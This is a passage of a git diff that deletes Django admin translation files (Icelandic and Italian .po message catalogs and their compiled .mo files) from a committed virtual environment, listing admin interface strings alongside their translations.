skoða eða breyta neinu." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Fyrst, settu inn notendanafn og lykilorð. Svo geturðu breytt öðrum " -"notendamöguleikum." - -msgid "Enter a username and password." -msgstr "Sláðu inn notandanafn og lykilorð." - -msgid "Change password" -msgstr "Breyta lykilorði" - -msgid "Please correct the error below." -msgstr "Vinsamlegast lagfærðu villuna fyrir neðan." - -msgid "Please correct the errors below." -msgstr "Vinsamlegast leiðréttu villurnar hér að neðan." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Settu inn nýtt lykilorð fyrir notandann %(username)s." - -msgid "Welcome," -msgstr "Velkomin(n)," - -msgid "View site" -msgstr "Skoða vef" - -msgid "Documentation" -msgstr "Skjölun" - -msgid "Log out" -msgstr "Skrá út" - -#, python-format -msgid "Add %(name)s" -msgstr "Bæta við %(name)s" - -msgid "History" -msgstr "Saga" - -msgid "View on site" -msgstr "Skoða á vef" - -msgid "Filter" -msgstr "Sía" - -msgid "Clear all filters" -msgstr "Hreinsa allar síur" - -msgid "Remove from sorting" -msgstr "Taka úr röðun" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Forgangur röðunar: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Röðun af/á" - -msgid "Delete" -msgstr "Eyða" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eyðing á %(object_name)s „%(escaped_object)s“ hefði í för með sér eyðingu á " -"tengdum hlutum en þú hefur ekki réttindi til að eyða eftirfarandi hlutum:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Að eyða %(object_name)s „%(escaped_object)s“ þyrfti að eyða eftirfarandi " -"tengdum hlutum:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ertu viss um að þú viljir eyða %(object_name)s „%(escaped_object)s“? Öllu " -"eftirfarandi verður eytt:" - -msgid "Objects" -msgstr "Hlutir" - -msgid "Yes, I’m sure" -msgstr "Já ég er viss." - -msgid "No, take me back" -msgstr "Nei, fara til baka" - -msgid "Delete multiple objects" -msgstr "Eyða mörgum hlutum." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Að eyða völdu %(objects_name)s leiðir til þess að skyldum hlutum er eytt, en " -"þinn aðgangur hefur ekki réttindi til að eyða eftirtöldum hlutum:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Að eyða völdum %(objects_name)s myndi leiða til þess að eftirtöldum skyldum " -"hlutum yrði eytt:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ertu viss um að þú viljir eyða völdum %(objects_name)s? Öllum eftirtöldum " -"hlutum og skyldum hlutum verður eytt:" - -msgid "Delete?" -msgstr "Eyða?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Eftir %(filter_title)s " - -msgid "Summary" -msgstr "Samantekt" - -msgid "Recent actions" -msgstr "Nýlegar aðgerðir" - -msgid "My actions" -msgstr "Mínar aðgerðir" - -msgid "None available" -msgstr "Engin fáanleg" - -msgid "Unknown content" -msgstr "Óþekkt innihald" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Eitthvað er að gagnagrunnsuppsetningu. Gakktu úr skugga um að allar töflur " -"séu til staðar og að notandinn hafi aðgang að grunninum." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Þú ert skráður inn sem %(username)s, en ert ekki með réttindi að þessari " -"síðu. Viltu skrá þig inn sem annar notandi?" - -msgid "Forgotten your password or username?" -msgstr "Gleymt notandanafn eða lykilorð?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Date/time" -msgstr "Dagsetning/tími" - -msgid "User" -msgstr "Notandi" - -msgid "Action" -msgstr "Aðgerð" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Þessi hlutur hefur enga breytingasögu. Hann var líklega ekki búinn til á " -"þessu stjórnunarsvæði." - -msgid "Show all" -msgstr "Sýna allt" - -msgid "Save" -msgstr "Vista" - -msgid "Popup closing…" -msgstr "Sprettigluggi lokast..." - -msgid "Search" -msgstr "Leita" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s niðurstaða" -msgstr[1] "%(counter)s niðurstöður" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s í heildina" - -msgid "Save as new" -msgstr "Vista sem nýtt" - -msgid "Save and add another" -msgstr "Vista og búa til nýtt" - -msgid "Save and continue editing" -msgstr "Vista og halda áfram að breyta" - -msgid "Save and view" -msgstr "Vista og skoða" - -msgid "Close" -msgstr "Loka" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Breyta völdu %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Bæta við %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Eyða völdu %(model)s" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Takk fyrir að verja tíma í vefsíðuna í dag." - -msgid "Log in again" -msgstr "Skráðu þig inn aftur" - -msgid "Password change" -msgstr "Breyta lykilorði" - -msgid "Your password was changed." -msgstr "Lykilorði þínu var breytt" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Vinsamlegast skrifaðu gamla lykilorðið þitt til öryggis. Sláðu svo nýja " -"lykilorðið tvisvar inn svo að hægt sé að ganga úr skugga um að þú hafir ekki " -"gert innsláttarvillu." - -msgid "Change my password" -msgstr "Breyta lykilorðinu mínu" - -msgid "Password reset" -msgstr "Endurstilla lykilorð" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Lykilorðið var endurstillt. Þú getur núna skráð þig inn á vefsvæðið." - -msgid "Password reset confirmation" -msgstr "Staðfesting endurstillingar lykilorðs" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Vinsamlegast settu inn nýja lykilorðið tvisvar til að forðast " -"innsláttarvillur." - -msgid "New password:" -msgstr "Nýtt lykilorð:" - -msgid "Confirm password:" -msgstr "Staðfestu lykilorð:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Endurstilling lykilorðs tókst ekki. Slóðin var ógild. Hugsanlega hefur hún " -"nú þegar verið notuð. Vinsamlegast biddu um nýja endurstillingu." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Við höfum sent þér tölvupóst með leiðbeiningum til að endurstilla lykilorðið " -"þitt, sé aðgangur til með netfanginu sem þú slóst inn. Þú ættir að fá " -"leiðbeiningarnar fljótlega. " - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ef þú færð ekki tölvupóstinn, gakktu úr skugga um að netfangið sem þú slóst " -"inn sé það sama og þú notaðir til að stofna aðganginn og að það hafi ekki " -"lent í spamsíu." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Þú ert að fá þennan tölvupóst því þú baðst um endurstillingu á lykilorði " -"fyrir aðganginn þinn á %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Vinsamlegast farðu á eftirfarandi síðu og veldu nýtt lykilorð:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Notandanafnið þitt ef þú skyldir hafa gleymt því:" - -msgid "Thanks for using our site!" -msgstr "Takk fyrir að nota vefinn okkar!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s hópurinn" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Hefurðu gleymt lykilorðinu þínu? Sláðu inn netfangið þitt hér að neðan og " -"við sendum þér tölvupóst með leiðbeiningum til að setja nýtt lykilorð. " - -msgid "Email address:" -msgstr "Netfang:" - -msgid "Reset my password" -msgstr "Endursstilla lykilorðið mitt" - -msgid "All dates" -msgstr "Allar dagsetningar" - -#, python-format -msgid "Select %s" -msgstr "Veldu %s" - -#, python-format -msgid "Select %s to change" -msgstr "Veldu %s til að breyta" - -#, python-format -msgid "Select %s to view" -msgstr "Veldu %s til að skoða" - -msgid "Date:" -msgstr "Dagsetning:" - -msgid "Time:" -msgstr "Tími:" - -msgid "Lookup" -msgstr "Fletta upp" - -msgid "Currently:" -msgstr "Eins og er:" - -msgid "Change:" -msgstr "Breyta:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 29c2bc12..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.po deleted file mode 100644 index 5ddb17c0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,267 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# gudbergur , 2012 -# Hafsteinn Einarsson , 2011-2012 -# Jannis Leidel , 2011 -# Matt R, 2018 -# Thordur Sigurdsson , 2016-2017,2020-2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-04-06 17:37+0000\n" -"Last-Translator: Thordur Sigurdsson \n" -"Language-Team: Icelandic (http://www.transifex.com/django/django/language/" -"is/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: is\n" -"Plural-Forms: nplurals=2; plural=(n % 10 != 1 || n % 100 == 11);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Fáanleg %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Þetta er listi af því %s sem er í boði. Þú getur ákveðið hluti með því að " -"velja þá í boxinu að neðan og ýta svo á \"Velja\" örina milli boxana tveggja." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Skrifaðu í boxið til að sía listann af því %s sem er í boði." - -msgid "Filter" -msgstr "Sía" - -msgid "Choose all" -msgstr "Velja öll" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Smelltu til að velja allt %s í einu." - -msgid "Choose" -msgstr "Veldu" - -msgid "Remove" -msgstr "Fjarlægja" - -#, javascript-format -msgid "Chosen %s" -msgstr "Valin %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Þetta er listinn af völdu %s. Þú getur fjarlægt hluti með því að velja þá í " -"boxinu að neðan og ýta svo á \"Eyða\" örina á milli boxana tveggja." - -msgid "Remove all" -msgstr "Eyða öllum" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Smelltu til að fjarlægja allt valið %s í einu." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] " %(sel)s í %(cnt)s valin" -msgstr[1] " %(sel)s í %(cnt)s valin" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Enn eru óvistaðar breytingar í reitum. Ef þú keyrir aðgerð munu breytingar " -"ekki verða vistaðar." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Þú hefur valið aðgerð en hefur ekki vistað breytingar á reitum. Vinsamlegast " -"veldu 'Í lagi' til að vista. Þú þarft að endurkeyra aðgerðina." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Þú hefur valið aðgerð en hefur ekki gert breytingar á reitum. Þú ert líklega " -"að leita að 'Fara' hnappnum frekar en 'Vista' hnappnum." - -msgid "Now" -msgstr "Núna" - -msgid "Midnight" -msgstr "Miðnætti" - -msgid "6 a.m." -msgstr "6 f.h." - -msgid "Noon" -msgstr "Hádegi" - -msgid "6 p.m." -msgstr "6 e.h." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Athugaðu að þú ert %s klukkustund á undan tíma vefþjóns." -msgstr[1] "Athugaðu að þú ert %s klukkustundum á undan tíma vefþjóns." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Athugaðu að þú ert %s klukkustund á eftir tíma vefþjóns." -msgstr[1] "Athugaðu að þú ert %s klukkustundum á eftir tíma vefþjóns." - -msgid "Choose a Time" -msgstr "Veldu tíma" - -msgid "Choose a time" -msgstr "Veldu tíma" - -msgid "Cancel" -msgstr "Hætta við" - -msgid "Today" -msgstr "Í dag" - -msgid "Choose a Date" -msgstr "Veldu dagsetningu" - -msgid "Yesterday" -msgstr "Í gær" - -msgid "Tomorrow" -msgstr "Á morgun" - -msgid "January" -msgstr "janúar" - -msgid "February" -msgstr "febrúar" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "apríl" - -msgid "May" -msgstr "maí" - -msgid "June" -msgstr "júní" - -msgid "July" -msgstr "júlí" - -msgid "August" -msgstr "ágúst" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "október" - -msgid "November" -msgstr "nóvember" - -msgid "December" -msgstr "desember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Maí" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jún" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Júl" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ágú" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nóv" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Des" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Þ" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "F" - -msgctxt "one letter Friday" -msgid "F" -msgstr "F" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "L" - -msgid "Show" -msgstr "Sýna" - -msgid "Hide" -msgstr "Fela" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/django.mo deleted file mode 100644 index a099863f..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/django.po deleted file mode 100644 index 3671884e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/django.po +++ /dev/null @@ -1,798 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# 0d21a39e384d88c2313b89b5042c04cb, 2017 -# Carlo Miron , 2018-2019 -# Davide Targa , 2021 -# Denis Darii , 2011 -# Flavio Curella , 2013 -# Franky Bonanno, 2023 -# Jannis Leidel , 2011 -# Luciano De Falco Alfano, 2016 -# Marco Bonetti, 2014 -# Mirco Grillo , 2018,2020 -# Nicola Larosa , 2013 -# palmux , 2014-2015,2021 -# Paolo Melchiorre , 2022-2023 -# Mattia Procopio , 2015 -# Stefano Brentegani , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 07:05+0000\n" -"Last-Translator: Franky Bonanno, 2023\n" -"Language-Team: Italian (http://app.transifex.com/django/django/language/" -"it/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: it\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Cancella %(verbose_name_plural)s selezionati" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Cancellati/e con successo %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Impossibile cancellare %(name)s " - -msgid "Are you sure?" -msgstr "Confermi?" - -msgid "Administration" -msgstr "Amministrazione" - -msgid "All" -msgstr "Tutti" - -msgid "Yes" -msgstr "Sì" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Sconosciuto" - -msgid "Any date" -msgstr "Qualsiasi data" - -msgid "Today" -msgstr "Oggi" - -msgid "Past 7 days" -msgstr "Ultimi 7 giorni" - -msgid "This month" -msgstr "Questo mese" - -msgid "This year" -msgstr "Quest'anno" - -msgid "No date" -msgstr "Senza data" - -msgid "Has date" -msgstr "Ha la data" - -msgid "Empty" -msgstr "Vuoto" - -msgid "Not empty" -msgstr "Non vuoto" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Inserisci %(username)s e password corretti per un account di staff. Nota che " -"entrambi i campi distinguono maiuscole e minuscole." - -msgid "Action:" -msgstr "Azione:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Aggiungi un altro %(verbose_name)s." - -msgid "Remove" -msgstr "Elimina" - -msgid "Addition" -msgstr "Aggiunta " - -msgid "Change" -msgstr "Modifica" - -msgid "Deletion" -msgstr "Eliminazione" - -msgid "action time" -msgstr "momento dell'azione" - -msgid "user" -msgstr "utente" - -msgid "content type" -msgstr "content type" - -msgid "object id" -msgstr "id dell'oggetto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "rappr. dell'oggetto" - -msgid "action flag" -msgstr "flag di azione" - -msgid "change message" -msgstr "messaggio di modifica" - -msgid "log entry" -msgstr "voce di log" - -msgid "log entries" -msgstr "voci di log" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" aggiunto." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "%(object)s%(changes)s modificati" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" cancellato." - -msgid "LogEntry Object" -msgstr "Oggetto LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Aggiunto {name} \"{object}\"." - -msgid "Added." -msgstr "Aggiunto." - -msgid "and" -msgstr "e" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Modificati {fields} per {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Modificati {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Eliminato {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Nessun campo modificato." - -msgid "None" -msgstr "Nessuno" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Tieni premuto \"Control\", o \"Command\" su Mac, per selezionarne più di uno." - -msgid "Select this object for an action - {}" -msgstr "Seleziona questo oggetto per intraprendere un'azione - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Il {name} \"{obj}\" è stato aggiunto con successo." - -msgid "You may edit it again below." -msgstr "Puoi modificarlo di nuovo qui sotto." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Il {name} \"{obj}\" è stato aggiunto con successo. Puoi aggiungere un altro " -"{name} qui sotto." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Il {name} \"{obj}\" è stato modificato con successo. Puoi modificarlo " -"nuovamente qui sotto." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"Il {name} \"{obj}\" è stato aggiunto con successo. Puoi modificarlo " -"nuovamente qui sotto." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Il {name} \"{obj}\" è stato modificato con successo. Puoi aggiungere un " -"altro {name} qui sotto." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Il {name} \"{obj}\" è stato modificato con successo." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Occorre selezionare degli oggetti per potervi eseguire azioni. Nessun " -"oggetto è stato cambiato." - -msgid "No action selected." -msgstr "Nessuna azione selezionata." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" cancellato correttamente." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"%(name)s con ID \"%(key)s\" non esiste. Probabilmente è stato cancellato?" - -#, python-format -msgid "Add %s" -msgstr "Aggiungi %s" - -#, python-format -msgid "Change %s" -msgstr "Modifica %s" - -#, python-format -msgid "View %s" -msgstr "Vista %s" - -msgid "Database error" -msgstr "Errore del database" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s modificato correttamente." -msgstr[1] "%(count)s %(name)s modificati correttamente." -msgstr[2] "%(count)s %(name)s modificati correttamente." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selezionato" -msgstr[1] "Tutti i %(total_count)s selezionati" -msgstr[2] "Tutti i %(total_count)s selezionati" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 di %(cnt)s selezionati" - -#, python-format -msgid "Change history: %s" -msgstr "Tracciato delle modifiche: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"La cancellazione di %(class_name)s %(instance)s richiederebbe l'eliminazione " -"dei seguenti oggetti protetti correlati: %(related_objects)s" - -msgid "Django site admin" -msgstr "Amministrazione sito Django" - -msgid "Django administration" -msgstr "Amministrazione Django" - -msgid "Site administration" -msgstr "Amministrazione sito" - -msgid "Log in" -msgstr "Accedi" - -#, python-format -msgid "%(app)s administration" -msgstr "Amministrazione %(app)s" - -msgid "Page not found" -msgstr "Pagina non trovata" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Spiacenti, ma la pagina richiesta non è stata trovata." - -msgid "Home" -msgstr "Pagina iniziale" - -msgid "Server error" -msgstr "Errore del server" - -msgid "Server error (500)" -msgstr "Errore del server (500)" - -msgid "Server Error (500)" -msgstr "Errore del server (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Si è verificato un errore. Gli amministratori del sito ne sono stati " -"informati per email, e vi porranno rimedio a breve. Grazie per la vostra " -"pazienza." - -msgid "Run the selected action" -msgstr "Esegui l'azione selezionata" - -msgid "Go" -msgstr "Vai" - -msgid "Click here to select the objects across all pages" -msgstr "Clicca qui per selezionare gli oggetti da tutte le pagine." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleziona tutti %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Annulla la selezione" - -msgid "Breadcrumbs" -msgstr "Breadcrumbs" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelli nell'applicazione %(name)s" - -msgid "Add" -msgstr "Aggiungi" - -msgid "View" -msgstr "Vista" - -msgid "You don’t have permission to view or edit anything." -msgstr "Non hai i permessi per visualizzare o modificare nulla." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Prima di tutto inserisci nome utente e password. Poi potrai modificare le " -"altre impostazioni utente." - -msgid "Enter a username and password." -msgstr "Inserisci nome utente e password." - -msgid "Change password" -msgstr "Modifica password" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Si prega di correggere l'errore sottostante." -msgstr[1] "Si prega di correggere gli errori sottostanti." -msgstr[2] "Si prega di correggere gli errori sottostanti." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Inserisci una nuova password per l'utente %(username)s." - -msgid "Skip to main content" -msgstr "Passa al contenuto principale" - -msgid "Welcome," -msgstr "Benvenuto," - -msgid "View site" -msgstr "Visualizza il sito" - -msgid "Documentation" -msgstr "Documentazione" - -msgid "Log out" -msgstr "Annulla l'accesso" - -#, python-format -msgid "Add %(name)s" -msgstr "Aggiungi %(name)s" - -msgid "History" -msgstr "Storia" - -msgid "View on site" -msgstr "Vedi sul sito" - -msgid "Filter" -msgstr "Filtra" - -msgid "Hide counts" -msgstr "Nascondi i conteggi " - -msgid "Show counts" -msgstr "Mostra i conteggi " - -msgid "Clear all filters" -msgstr "Cancella tutti i filtri" - -msgid "Remove from sorting" -msgstr "Elimina dall'ordinamento" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Priorità d'ordinamento: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Abilita/disabilita ordinamento" - -msgid "Toggle theme (current theme: auto)" -msgstr "Cambia tema (tema corrente: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Cambia tema (tema corrente: chiaro)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Cambia tema (tema corrente: scuro)" - -msgid "Delete" -msgstr "Cancella" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"La cancellazione di %(object_name)s '%(escaped_object)s' causerebbe la " -"cancellazione di oggetti collegati, ma questo account non ha i permessi per " -"cancellare i seguenti tipi di oggetti:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"La cancellazione di %(object_name)s '%(escaped_object)s' richiederebbe " -"l'eliminazione dei seguenti oggetti protetti correlati:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Sicuro di voler cancellare %(object_name)s \"%(escaped_object)s\"? Tutti i " -"seguenti oggetti collegati verranno cancellati:" - -msgid "Objects" -msgstr "Oggetti" - -msgid "Yes, I’m sure" -msgstr "Sì, sono sicuro" - -msgid "No, take me back" -msgstr "No, torna indietro" - -msgid "Delete multiple objects" -msgstr "Cancella più oggetti" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Per eliminare l'elemento %(objects_name)s selezionato è necessario rimuovere " -"anche gli oggetti correlati, ma il tuo account non dispone " -"dell'autorizzazione a eliminare i seguenti tipi di oggetti:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"L'eliminazione dell'elemento %(objects_name)s selezionato richiederebbe la " -"rimozione dei seguenti oggetti protetti correlati:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Confermi la cancellazione dell'elemento %(objects_name)s selezionato? " -"Saranno rimossi tutti i seguenti oggetti e le loro voci correlate:" - -msgid "Delete?" -msgstr "Cancellare?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Per %(filter_title)s " - -msgid "Summary" -msgstr "Riepilogo" - -msgid "Recent actions" -msgstr "Azioni recenti" - -msgid "My actions" -msgstr "Le mie azioni" - -msgid "None available" -msgstr "Nulla disponibile" - -msgid "Added:" -msgstr "Aggiunto" - -msgid "Changed:" -msgstr "Cambiato " - -msgid "Deleted:" -msgstr "Eliminato " - -msgid "Unknown content" -msgstr "Contenuto sconosciuto" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Qualcosa non è andato a buon fine nell'installazione del database. " -"Assicurati che le tabelle del database siano state create, e che il database " -"sia leggibile dall'utente corretto." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Ti sei autenticato 